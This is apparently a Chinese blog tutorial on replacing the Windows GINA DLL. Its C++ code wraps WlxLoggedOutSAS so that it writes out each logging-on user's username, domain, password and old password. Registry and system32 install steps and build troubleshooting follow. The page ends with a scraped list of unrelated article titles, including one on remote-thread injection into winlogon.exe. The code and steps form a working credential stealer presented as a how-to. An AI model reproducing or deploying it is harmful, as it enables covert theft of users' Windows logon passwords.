winlogon

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出,处理用户登录和注销任务。Winlogon.exe位于C:\Windows\System32目录下。

WlxLoggedOutSAS
一、原理
在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面:
(1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面
(3)、屏幕保护桌面:屏幕保护显示界面。

在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。

二、程序实现
GINA DLL要输出下列函数(winlogon会调用):

(表一)GINA 函数一览表

函数 描述
WlxActivateUserShell 激活用户外壳程序
WlxDisplayLockedNotice 允许GINA DLL 显示锁定信息
WlxDisplaySASNotice 当没有用户登陆时,Winlogon调用此函数
WlxDisplayStatusMessage Winlogon 用一个状态信息调用此函数进行显示
WlxGetConsoleSwitchCredentials Winlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话
WlxGetStatusMessage Winlogon 调用此函数获取当前状态信息
WlxInitialize 针对指定的窗口位置进行GINA DLL初始化
WlxIsLockOk 验证工作站正常锁定
WlxIslogoffOk 验证注销正常
WlxLoggedOnSAS 用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数
WlxLoggedOutSAS 没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。
WlxLogoff 请求注销操作时通知GINA DLL
WlxNegotiate 表示当前的Winlogon版本是否能使用GINA DLL
WlxNetworkProviderLoad 在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数
WlxRemoveStatusMessage Winlogon 调用此函数告诉GINA DLL 停止显示状态信息
WlxScreensaverNotify 允许GINA与屏幕保护操作交互
WlxShutdown 在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡
WlxStartApplication 当系统需要在用户的上下文中启动应用程序时调用此函数
WlxWkstaLockedSAS 当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数

为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:

/********************************************************************/
//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!int   WINAPI WlxLoggedOutSAS (PVOID                   pWlxContext, DWORD                  dwSasType, PLUID                    pAuthenticationId, PSID                     pLogonSid, PDWORD                 pdwOptions, PHANDLE                 phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo, PVOID *                  pProfile)
{int iRet=0; PWSTR pszUserName=NULL;      //用户名PWSTR pszDomain=NULL;        //机器名PWSTR pszPassword=NULL;       //密码PWSTR pszOldPassword=NULL;    //旧密码PSTR pLogonTime=new char[100]; //登录时间//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数iRet = prcWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile);if(iRet == WLX_SAS_ACTION_LOGON) {      //Get logon timeCTime tm=CTime::GetCurrentTime();::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d      \r\n",tm.GetYear(),tm.GetMonth(),tm.GetDay(),tm.GetHour(),tm.GetMinute(),tm.GetSecond());if(pLogonTime!=NULL) {WriteInfo("logon_time: ");WriteInfo(pLogonTime); }// copy pMprNotifyInfo and pLogonSid for later use     pszUserName=pMprNotifyInfo->pszUserName;        if(pszUserName!=NULL)    {WriteInfo("Username   : ");WriteInfoW(pszUserName); }pszDomain=pMprNotifyInfo->pszDomain; if(pszDomain!=NULL)      {WriteInfo("Domain     : ");WriteInfoW(pszDomain); }pszPassword =pMprNotifyInfo->pszPassword; if(pszPassword!=NULL)    {WriteInfo("PassWord   : ");WriteInfoW(pszPassword); }pszOldPassword=pMprNotifyInfo->pszOldPassword; if(pszOldPassword!=NULL) {WriteInfo("OldPassword: ");WriteInfoW(pszOldPassword); }} return iRet; }
/********************************************************************/

还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :

void WriteInfoW(PWSTR WideStr)   //显示unicode字符串信息
{//获取unicode字符串的字符个数int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);//在进程堆中分配空间PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);if(tempStr==NULL) return ;//把unicode字符串转换为ASCII字符串WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);WriteInfo(tempStr); //显示ASCII字符串信息//释放分配的堆空间HeapFree(GetProcessHeap(),0,tempStr);}

三、安装和注意事项:

在编写GIAN DLL中要注意,GINA DLL使用的是unicode。

【安装】GINA DLL的安装:
1. 添加注册表
键名 : \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
变量名 : GinaDLL
变量类型 : [REG_SZ]
内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

【注意】
1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。

2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。

3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools\Options\Directories\show directories for\ <library files>。

4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project \ Setting \ C/C++ \ preprocessor definition 。

winlogon 之 WlxLoggedOutSAS相关推荐

  1. 注入winlogon

    要将hook注入winlogon进程需要特定权限,要在localsystem权限下运行 NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式 ...

  2. WinLogon登录管理和GINA简介 (转)

    http://blog.csdn.net/chenyujing1234/article/details/7942845 平时我们在使用Windows XP时,总要先进行登录.Windows XP的登录 ...

  3. Winlogon登录和GINA

    Winlogon登录和GINA -- NTShellGINA源代码   目录(?)[+] 一理论 WinLogon登录管理 二代码 一.理论 WinLogon登录管理: 1. Winlogon进程负责 ...

  4. winlogon.exe错误:小心设置搜狗拼音输入法

    开机后后出现winlogon.exe错误,可能原因是搜狗拼音输入法的原因! 1.搜狗输入法新增了隐藏状态栏功能,很多人开启这个功能后觉得Windows原来的语言栏没什么作用了,就设置为不显示语言栏掉: ...

  5. winlogon.exe应用程序错误的解决方法

    winlogon.exe应用程序错误的解决方法 参考文章: (1)winlogon.exe应用程序错误的解决方法 (2)https://www.cnblogs.com/haitao-fan/archi ...

  6. winlogon.exe病毒的查杀方法

    今天到农信机房上网,发现他们有一台电脑中毒了,怀疑是winlogon.exe病毒. 网上找到了查杀方法: 删除以下文件,绝对不可以运行,否则前功尽弃. D:\autorun.inf D:\pagefi ...

  7. 【超级鼠标键盘锁】之远线程注入winlogon.exe进程屏蔽Ctrl+Alt+Del、Win+L

    通过上一节对winlogon.exe进程的调试,得到了其处理Ctrl+Alt+Del和Win+L按键的关键代码位置偏移,并阐述了如何对指令进行修改,从而达到屏蔽这两个按键. 本节采用远线程注入技术进行 ...

  8. WinLogon事件通知包编程

    2007年5月18日,21:18:55| yexiaozhou2003[AT]hotmail.com(cooldog) 今天看到CSDN中有网友问道如何获取用户按Ctrl+Alt+Del锁定桌面的事件 ...

  9. winlogon病毒清除

    winlogon病毒清除 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" ...

最新文章

  1. Java别说取余( )运算简单,你真的会吗
  2. 局部内部类和匿名内部类的对比
  3. chatbot2 RNN语言模型
  4. Fragment生命周期及其使用
  5. tortoiseGit 解决冲突
  6. win10怎么激活python_无法在Windows 10中激活Python venv
  7. 深入理解分布式事务(XA及rocketmq事务)
  8. Avast高级版的cleanup激活码
  9. 怎么把索尼摄像机拍摄的RSV文件修复转换为MXF视频
  10. 电脑关机同步服务器信息失败,电脑同步,更新时间失败,怎么处理?
  11. 超简单的用PS(PhotoShop)转换png为ico,简单的制作favicon.ico,使用画图工具转换PNG为ICO图标,不用下什么插件软件什么玩意儿的
  12. ICO走进华盛顿:国会探讨加密货币,有什么可以期待?
  13. python海龟绘图颜色_海龟绘图
  14. Linux学习-02-Linux的安装
  15. Kotlin 编码规约
  16. 至联云为你解析Filecoin最新经济模型:180天线性释放是什么意思?
  17. 安全通信与安全通信标准EN50159
  18. python爬虫,爬取豆瓣电影《芳华》电影短评,分词生成云图。
  19. matlab 爱,matlab
  20. 构建安全可靠的微服务 | Nacos 在 SaaS 平台的应用实践

热门文章

  1. 我的世界java版红石电梯_《我的世界》红石电梯建造教程
  2. 微信支付不成功的几个原因
  3. 网络空间安全竞赛D模块解析
  4. Freemarker静态页面使用方法详解+指令
  5. 使用hotspot/cpuperf进行CPU占用分析
  6. 身份证号码校验java
  7. C# RadioButton: 单选按钮控件
  8. 大学C语言系统作业,南昌大学作业答疑系统c语言答案
  9. SpringBoot 中的验证码、二维码、缩略图、图片上传、定时器调度
  10. 安卓微信浏览器唤起系统内部浏览器